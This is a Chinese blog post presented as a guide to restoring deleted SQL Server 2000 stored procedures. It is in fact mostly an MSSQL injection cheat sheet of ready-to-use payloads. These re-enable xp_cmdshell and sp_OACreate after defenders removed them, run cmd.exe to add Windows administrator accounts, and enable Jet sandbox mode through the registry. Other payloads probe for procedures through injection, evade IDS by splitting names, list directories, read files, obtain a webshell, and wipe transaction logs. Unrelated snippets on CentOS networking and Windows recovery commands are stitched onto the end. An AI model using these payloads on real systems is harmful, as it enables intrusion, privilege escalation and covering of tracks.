SQL2000的存储过程删除恢复

本文介绍了SQL Server环境中存储过程xp_cmdshell被删除后的恢复方法,包括直接恢复存储过程和通过SP_OAcreate执行命令的方式。同时,文章还提供了检测存储过程是否存在及执行系统命令的相关SQL语句。

http://www.torylf.com/43.html



1.xp_cmdshell被删除
2.xp_cmdshell所使用的xplog70.dll被删除

那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

usemaster
execsp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’
execsp_addextendedproc xp_dirtree,’xpstar.dll’
execsp_addextendedproc xp_enumgroups,’xplog70.dll’
execsp_addextendedproc xp_fixeddrives,’xpstar.dll’
execsp_addextendedproc xp_loginconfig,’xplog70.dll’
execsp_addextendedproc xp_enumerrorlogs,’xpstar.dll’
execsp_addextendedproc xp_getfiledetails,’xpstar.dll’
execsp_addextendedproc sp_OACreate,’odsole70.dll’
execsp_addextendedproc sp_OADestroy,’odsole70.dll’
execsp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’
execsp_addextendedproc sp_OAGetProperty,’odsole70.dll’
execsp_addextendedproc sp_OAMethod,’odsole70.dll’
execsp_addextendedproc sp_OASetProperty,’odsole70.dll’
execsp_addextendedproc sp_OAStop,’odsole70.dll’
execsp_addextendedproc xp_regaddmultistring,’xpstar.dll’
execsp_addextendedproc xp_regdeletekey,’xpstar.dll’
execsp_addextendedproc xp_regdeletevalue,’xpstar.dll’
execsp_addextendedproc xp_regenumvalues,’xpstar.dll’
execsp_addextendedproc xp_regread,’xpstar.dll’
execsp_addextendedproc xp_regremovemultistring,’xpstar.dll’
execsp_addextendedproc xp_regwrite,’xpstar.dll’

以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外

我再告诉大家xp_cmdshell新的恢复办法。

扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
execsp_dropextendedproc’xp_cmdshell’

恢复
dbcc addextendedproc(“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc(“xp_cmdshell”,”xplog70.dll”)

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

那么我们继续来解决第二个问题,如果是DLL被删了该怎么办呢?很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦

可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate,语句是:

DECLARE@shellINT EXECSP_OAcreate’wscript.shell’,@shellOUTPUT EXEC SP_OAMETHOD
@shell,’run’,null,’C:\WINdows\system32\cmd.exe /c net user iisloger hook /add’

上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用SP_OAcreate是需要wscript.shell来支

持的。如果wscript.shell被删除的话就是不能执行成功了。

另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
代码如下:

EXEC master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,'SoftWare\Microsoft\Jet\4.0

\Engine’,'SandBoxMode’,'REG_DWORD’,’0′
意思是修改注册表开启沙盒

Select*FromOpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,'select shell(“net

user sadfish fish /add”)’);
利用沙盒模式来添加个管理员

因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以

上两种方法都不可以用的时候就可以考虑沙盒模式
至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。

下面我在列出一些笔者常用的语句给大家参考

检测xp_cmdshell(CMD命令)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’xp_cmdshell’)

检测xp_regread(注册表读取功能)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’xp_regread’)

检测sp_makewebtask(备份功能)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’sp_makewebtask’)

检测sp_addextendedproc|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’sp_addextendedproc’)

检测xp_subdirs读子目录|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’xp_subdirs’)

检测xp_dirtree读子目录|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’xp_dirtree’)

检测SP_OAcreate(执行命令)|
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name=’SP_OAcreate’)

执行CMD命令SP_OAcreate
;DECLARE@shellINT EXECSP_OAcreate’wscript.shell’,@shellOUTPUT EXEC

SP_OAMETHOD@shell,’run’,null,’C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add’

sp_OACreate:
运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用 //要记住这点,如果服务器over了,

wscript.shell那么这存储过程也没多大的用了在注入方面。

建目录SP_OAcreate|
;DECLARE@shellINT EXECSP_OAcreate’wscript.shell’,@shellOUTPUT EXEC

SP_OAMETHOD@shell,’run’,null,’C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111′

创建一个虚拟目录E盘|
;declare@ointexecsp_oacreate’wscript.shell’,@ooutexecsp_oamethod@o,’run’,NULL,’ cscript.exe

c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘

设置虚拟目录为可读e|
;declare@ointexecsp_oacreate’wscript.shell’,@ooutexecsp_oamethod@o,’run’,NULL,’ cscript.exe

c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’

启动server服务|
;execmaster..xp_servicecontrol’start’,'server’当然你也可以启动其它服务

绕过IDS的检测的xp_cmdshell|
;declare@asysname set@a=’xp_’+'cmdshell’exec@a’dir c:\’

开启远程数据库1|
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123′, ‘select*fromtable1′ )

开启远程数据库2|
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’,

‘select*fromtable’

添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,password,username;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add’;–

;exec master.dbo.xp_cmdshell ‘net user username password/add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators username/add’;–

遍历目录 /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(‘上步得到的paths’))>)

遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容

删除日志:
DUMP TRANSACTION 数据库名 WITH NO_LOG

更改表的所有者
declare tb cursor local for
select ‘sp_changeobjectowner ”['+replace(user_name(uid),']‘,’]]’)+’].['
+replace(name,']‘,’]]’)+’]”,”dbo”’
from sysobjects
where xtype in(‘U’,'V’,'P’,'TR’,'FN’,'IF’,'TF’) and status>=0
open tb
declare @s nvarchar(4000)
fetch tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch tb into @s
end
close tb
deallocate tb
go


代码转载自:https://pan.quark.cn/s/8ce4326d996e 对于在 CentOS 7 系统中修改网卡配置文件后无法使设置生效的情况,经过实践验证,可以通过使用 nmcli 命令来进行调整。完成修改之后,需要重新启动虚拟机以使更改生效,这样操作流程即告完成。如果设置仍然无法生效,则表明虚拟机在启动过程中所获取的 IP 地址配置并非针对 eth0,此时可以对其它网卡的配置文件进行修改或将其移除。在 CentOS 7 系统中,网络配置的管理机制与早期版本存在差异,主要体现为采用了 Network Manager 服务来负责网络接口的管理。在某些情形下,尽管修改了 `/etc/sysconfig/network-scripts` 目录下的 `ifcfg-eth0` 文件,但网络配置却未能即时生效。此类问题的发生通常源于 CentOS 7 采用了不同于以往的配置读取方法。接下来将具体阐述如何借助 nmcli 命令来处理这一挑战。 以 root 用户身份登录系统并打开终端界面。nmcli 是 Network Manager 提供的命令行界面工具,它支持在命令行环境下执行网络连接的建立、编辑、查询及管理任务。针对修改 eth0 网卡配置的需求,可以遵循以下步骤进行操作: 1. 导航至 `/etc/sysconfig/network-scripts` 目录: ``` cd /etc/sysconfig/network-scripts ``` 2. 检查该目录内是否存在 `ifcfg-eth0.bak` 文件,该备份文件可能是先前调整配置时遗留下来的,若存在可能造成冲突。若发现该文件,可以选择将其删除: ``` [root@localhost netw...
代码转载自:https://pan.quark.cn/s/46fd08fb879c 网管教程 从入门到精通软件篇 ★一。★详尽的xp修复控制台指令及其应用!!! 放入xp(2000)的光盘,安装时选择R,执行修复! Windows XP(涵盖 Windows 2000)的控制台指令是在系统遭遇某些意外状况时的一种极具效用的诊断、检测以及恢复系统功能的工具。笔者确实一直期望能够将这方面的指令进行归纳,此次由老范辛苦整理了这份极具价值的秘籍。 Bootcfg bootcfg 命令用于启动配置与故障恢复(对大多数计算机而言,即 boot.ini 文件)。 带有特定参数的 bootcfg 命令仅在运用故障恢复控制台时方可使用。能够在命令行界面下运用带有不同参数的 bootcfg 命令。 用法: bootcfg /default 设定默认引导选项。 bootcfg /add 向引导清单中增添 Windows 安装。 bootcfg /rebuild 重复整个 Windows 安装流程并让用户选择需添加的项目。 注意:运用 bootcfg /rebuild 之前,应先借助 bootcfg /copy 命令备份 boot.ini 文件。 bootcfg /scan 探查用于 Windows 安装的全部磁盘并展示结果。 注意:这些结果被静态存储,并用于当前会话。若在当前会话期间磁盘配置发生变动,为获取更新的探查结果,必须先重启计算机,然后再次探查磁盘。 bootcfg /list 列示引导清单中已有的项目。 bootcfg /disableredirect 在启动引导程序中禁用重定向。 bootcfg /redirect [ PortBaudRrate] |[ useBio...
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值